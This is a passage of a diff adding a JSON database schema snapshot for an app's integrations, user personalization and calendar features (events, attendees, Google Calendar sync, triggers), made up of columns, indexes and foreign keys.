], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "integration_connections_connected_by_users_id_fk": { + "name": "integration_connections_connected_by_users_id_fk", + "tableFrom": "integration_connections", + "tableTo": "users", + "columnsFrom": [ + "connected_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "integration_connections_user_provider": { + "name": "integration_connections_user_provider", + "nullsNotDistinct": false, + "columns": [ + "user_id", + "provider_id" + ] + }, + "integration_connections_drive_provider": { + "name": "integration_connections_drive_provider", + "nullsNotDistinct": false, + "columns": [ + "drive_id", + "provider_id" + ] + } + }, + "policies": {}, + "checkConstraints": { + "integration_connections_scope_chk": { + "name": "integration_connections_scope_chk", + "value": "(\"integration_connections\".\"user_id\" IS NOT NULL AND \"integration_connections\".\"drive_id\" IS NULL) OR (\"integration_connections\".\"user_id\" IS NULL AND \"integration_connections\".\"drive_id\" IS NOT NULL)" + } + }, + "isRLSEnabled": false + }, + "public.integration_providers": { + "name": "integration_providers", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "icon_url": { + "name": "icon_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "documentation_url": { + "name": "documentation_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider_type": { + "name": "provider_type", + "type": "integration_provider_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "config": { + "name": "config", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "openapi_spec": { + "name": "openapi_spec", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "is_system": { + "name": "is_system", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "integration_providers_slug_idx": { + "name": "integration_providers_slug_idx", + "columns": [ + { + "expression": "slug", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_providers_drive_id_idx": { + "name": "integration_providers_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "integration_providers_created_by_users_id_fk": { + "name": "integration_providers_created_by_users_id_fk", + "tableFrom": "integration_providers", + "tableTo": "users", + "columnsFrom": [ + "created_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "integration_providers_drive_id_drives_id_fk": { + "name": "integration_providers_drive_id_drives_id_fk", + "tableFrom": "integration_providers", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "integration_providers_slug_unique": { + "name": "integration_providers_slug_unique", + "nullsNotDistinct": false, + "columns": [ + "slug" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.integration_tool_grants": { + "name": "integration_tool_grants", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "connection_id": { + "name": "connection_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "allowed_tools": { + "name": "allowed_tools", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "denied_tools": { + "name": "denied_tools", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "read_only": { + "name": "read_only", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "rate_limit_override": { + "name": "rate_limit_override", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "integration_tool_grants_agent_id_idx": { + "name": "integration_tool_grants_agent_id_idx", + "columns": [ + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_tool_grants_connection_id_idx": { + "name": "integration_tool_grants_connection_id_idx", + "columns": [ + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "integration_tool_grants_agent_id_pages_id_fk": { + "name": "integration_tool_grants_agent_id_pages_id_fk", + "tableFrom": "integration_tool_grants", + "tableTo": "pages", + "columnsFrom": [ + "agent_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "integration_tool_grants_connection_id_integration_connections_id_fk": { + "name": "integration_tool_grants_connection_id_integration_connections_id_fk", + "tableFrom": "integration_tool_grants", + "tableTo": "integration_connections", + "columnsFrom": [ + "connection_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "integration_tool_grants_agent_connection": { + "name": "integration_tool_grants_agent_connection", + "nullsNotDistinct": false, + "columns": [ + "agent_id", + "connection_id" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.personalization_candidates": { + "name": "personalization_candidates", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "field": { + "name": "field", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "claim": { + "name": "claim", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "claimKey": { + "name": "claimKey", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "evidence": { + "name": "evidence", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "orgIds": { + "name": "orgIds", + "type": "text[]", + "primaryKey": false, + "notNull": true, + "default": "ARRAY[]::text[]" + }, + "occurrences": { + "name": "occurrences", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "firstSeenAt": { + "name": "firstSeenAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "lastSeenAt": { + "name": "lastSeenAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "promotedAt": { + "name": "promotedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "rejectedAt": { + "name": "rejectedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "personalization_candidates_user_field_claim_idx": { + "name": "personalization_candidates_user_field_claim_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "field", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "claimKey", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "personalization_candidates_userId_users_id_fk": { + "name": "personalization_candidates_userId_users_id_fk", + "tableFrom": "personalization_candidates", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "personalization_candidates_field_chk": { + "name": "personalization_candidates_field_chk", + "value": "\"personalization_candidates\".\"field\" IN ('bio', 'writingStyle', 'rules')" + } + }, + "isRLSEnabled": false + }, + "public.user_personalization": { + "name": "user_personalization", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "bio": { + "name": "bio", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "writingStyle": { + "name": "writingStyle", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rules": { + "name": "rules", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "memoryFolderId": { + "name": "memoryFolderId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "bioPageId": { + "name": "bioPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "writingStylePageId": { + "name": "writingStylePageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rulesPageId": { + "name": "rulesPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "memoryOrgIds": { + "name": "memoryOrgIds", + "type": "text[]", + "primaryKey": false, + "notNull": true, + "default": "ARRAY[]::text[]" + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_personalization_user_idx": { + "name": "user_personalization_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_personalization_bio_page_idx": { + "name": "user_personalization_bio_page_idx", + "columns": [ + { + "expression": "bioPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_personalization_writing_style_page_idx": { + "name": "user_personalization_writing_style_page_idx", + "columns": [ + { + "expression": "writingStylePageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_personalization_rules_page_idx": { + "name": "user_personalization_rules_page_idx", + "columns": [ + { + "expression": "rulesPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_personalization_userId_users_id_fk": { + "name": "user_personalization_userId_users_id_fk", + "tableFrom": "user_personalization", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_personalization_memoryFolderId_pages_id_fk": { + "name": "user_personalization_memoryFolderId_pages_id_fk", + "tableFrom": "user_personalization", + "tableTo": "pages", + "columnsFrom": [ + "memoryFolderId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "user_personalization_bioPageId_pages_id_fk": { + "name": "user_personalization_bioPageId_pages_id_fk", + "tableFrom": "user_personalization", + "tableTo": "pages", + "columnsFrom": [ + "bioPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "user_personalization_writingStylePageId_pages_id_fk": { + "name": "user_personalization_writingStylePageId_pages_id_fk", + "tableFrom": "user_personalization", + "tableTo": "pages", + "columnsFrom": [ + "writingStylePageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "user_personalization_rulesPageId_pages_id_fk": { + "name": "user_personalization_rulesPageId_pages_id_fk", + "tableFrom": "user_personalization", + "tableTo": "pages", + "columnsFrom": [ + "rulesPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_automation_preferences": { + "name": "user_automation_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pulseEnabled": { + "name": "pulseEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_automation_preferences_user_idx": { + "name": "user_automation_preferences_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_automation_preferences_userId_users_id_fk": { + "name": "user_automation_preferences_userId_users_id_fk", + "tableFrom": "user_automation_preferences", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.calendar_event_drives": { + "name": "calendar_event_drives", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "eventId": { + "name": "eventId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sharedBy": { + "name": "sharedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sharedAt": { + "name": "sharedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "calendar_event_drives_event_id_idx": { + "name": "calendar_event_drives_event_id_idx", + "columns": [ + { + "expression": "eventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_event_drives_drive_id_idx": { + "name": "calendar_event_drives_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "calendar_event_drives_eventId_calendar_events_id_fk": { + "name": "calendar_event_drives_eventId_calendar_events_id_fk", + "tableFrom": "calendar_event_drives", + "tableTo": "calendar_events", + "columnsFrom": [ + "eventId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_event_drives_driveId_drives_id_fk": { + "name": "calendar_event_drives_driveId_drives_id_fk", + "tableFrom": "calendar_event_drives", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_event_drives_sharedBy_users_id_fk": { + "name": "calendar_event_drives_sharedBy_users_id_fk", + "tableFrom": "calendar_event_drives", + "tableTo": "users", + "columnsFrom": [ + "sharedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "calendar_event_drives_event_drive_key": { + "name": "calendar_event_drives_event_drive_key", + "nullsNotDistinct": false, + "columns": [ + "eventId", + "driveId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.calendar_events": { + "name": "calendar_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdById": { + "name": "createdById", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "location": { + "name": "location", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "startAt": { + "name": "startAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "endAt": { + "name": "endAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "allDay": { + "name": "allDay", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "timezone": { + "name": "timezone", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'UTC'" + }, + "recurrenceRule": { + "name": "recurrenceRule", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "recurrenceExceptions": { + "name": "recurrenceExceptions", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "'[]'::jsonb" + }, + "recurringEventId": { + "name": "recurringEventId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "originalStartAt": { + "name": "originalStartAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "visibility": { + "name": "visibility", + "type": "EventVisibility", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'DRIVE'" + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'default'" + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "isTrashed": { + "name": "isTrashed", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "trashedAt": { + "name": "trashedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "googleEventId": { + "name": "googleEventId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "googleCalendarId": { + "name": "googleCalendarId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "syncedFromGoogle": { + "name": "syncedFromGoogle", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "lastGoogleSync": { + "name": "lastGoogleSync", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "googleSyncReadOnly": { + "name": "googleSyncReadOnly", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "calendar_events_drive_id_idx": { + "name": "calendar_events_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_created_by_id_idx": { + "name": "calendar_events_created_by_id_idx", + "columns": [ + { + "expression": "createdById", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_page_id_idx": { + "name": "calendar_events_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_start_at_idx": { + "name": "calendar_events_start_at_idx", + "columns": [ + { + "expression": "startAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_end_at_idx": { + "name": "calendar_events_end_at_idx", + "columns": [ + { + "expression": "endAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_drive_id_start_at_idx": { + "name": "calendar_events_drive_id_start_at_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "startAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_recurring_event_id_idx": { + "name": "calendar_events_recurring_event_id_idx", + "columns": [ + { + "expression": "recurringEventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_is_trashed_idx": { + "name": "calendar_events_is_trashed_idx", + "columns": [ + { + "expression": "isTrashed", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_google_event_id_idx": { + "name": "calendar_events_google_event_id_idx", + "columns": [ + { + "expression": "googleEventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_synced_from_google_idx": { + "name": "calendar_events_synced_from_google_idx", + "columns": [ + { + "expression": "syncedFromGoogle", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "calendar_events_driveId_drives_id_fk": { + "name": "calendar_events_driveId_drives_id_fk", + "tableFrom": "calendar_events", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_events_createdById_users_id_fk": { + "name": "calendar_events_createdById_users_id_fk", + "tableFrom": "calendar_events", + "tableTo": "users", + "columnsFrom": [ + "createdById" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_events_pageId_pages_id_fk": { + "name": "calendar_events_pageId_pages_id_fk", + "tableFrom": "calendar_events", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "calendar_events_google_source_per_user_key": { + "name": "calendar_events_google_source_per_user_key", + "nullsNotDistinct": false, + "columns": [ + "createdById", + "googleCalendarId", + "googleEventId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.event_attendees": { + "name": "event_attendees", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "eventId": { + "name": "eventId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "AttendeeStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'PENDING'" + }, + "responseNote": { + "name": "responseNote", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isOrganizer": { + "name": "isOrganizer", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "isOptional": { + "name": "isOptional", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "invitedAt": { + "name": "invitedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "respondedAt": { + "name": "respondedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "event_attendees_event_id_idx": { + "name": "event_attendees_event_id_idx", + "columns": [ + { + "expression": "eventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_attendees_user_id_idx": { + "name": "event_attendees_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_attendees_status_idx": { + "name": "event_attendees_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_attendees_user_id_status_idx": { + "name": "event_attendees_user_id_status_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "event_attendees_eventId_calendar_events_id_fk": { + "name": "event_attendees_eventId_calendar_events_id_fk", + "tableFrom": "event_attendees", + "tableTo": "calendar_events", + "columnsFrom": [ + "eventId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "event_attendees_userId_users_id_fk": { + "name": "event_attendees_userId_users_id_fk", + "tableFrom": "event_attendees", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "event_attendees_event_user_key": { + "name": "event_attendees_event_user_key", + "nullsNotDistinct": false, + "columns": [ + "eventId", + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.google_calendar_connections": { + "name": "google_calendar_connections", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "accessToken": { + "name": "accessToken", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "refreshToken": { + "name": "refreshToken", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenExpiresAt": { + "name": "tokenExpiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "googleEmail": { + "name": "googleEmail", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "googleAccountId": { + "name": "googleAccountId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "GoogleCalendarConnectionStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "statusMessage": { + "name": "statusMessage", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "targetDriveId": { + "name": "targetDriveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "selectedCalendars": { + "name": "selectedCalendars", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "'[]'::jsonb" + }, + "syncFrequencyMinutes": { + "name": "syncFrequencyMinutes", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 15 + }, + "markAsReadOnly": { + "name": "markAsReadOnly", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "lastSyncAt": { + "name": "lastSyncAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastSyncError": { + "name": "lastSyncError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "syncCursor": { + "name": "syncCursor", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "webhookChannels": { + "name": "webhookChannels", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "google_calendar_connections_user_id_idx": { + "name": "google_calendar_connections_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "google_calendar_connections_status_idx": { + "name": "google_calendar_connections_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "google_calendar_connections_target_drive_id_idx": { + "name": "google_calendar_connections_target_drive_id_idx", + "columns": [ + { + "expression": "targetDriveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "google_calendar_connections_userId_users_id_fk": { + "name": "google_calendar_connections_userId_users_id_fk", + "tableFrom": "google_calendar_connections", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "google_calendar_connections_targetDriveId_drives_id_fk": { + "name": "google_calendar_connections_targetDriveId_drives_id_fk", + "tableFrom": "google_calendar_connections", + "tableTo": "drives", + "columnsFrom": [ + "targetDriveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "google_calendar_connections_userId_unique": { + "name": "google_calendar_connections_userId_unique", + "nullsNotDistinct": false, + "columns": [ + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.calendar_triggers": { + "name": "calendar_triggers", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflowId": { + "name": "workflowId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "calendarEventId": { + "name": "calendarEventId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scheduledById": { + "name": "scheduledById", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "triggerAt": { + "name": "triggerAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "occurrenceDate": { + "name": "occurrenceDate", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "'1970-01-01T00:00:00.000Z'" + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "calendar_triggers_trigger_at_idx": { + "name": 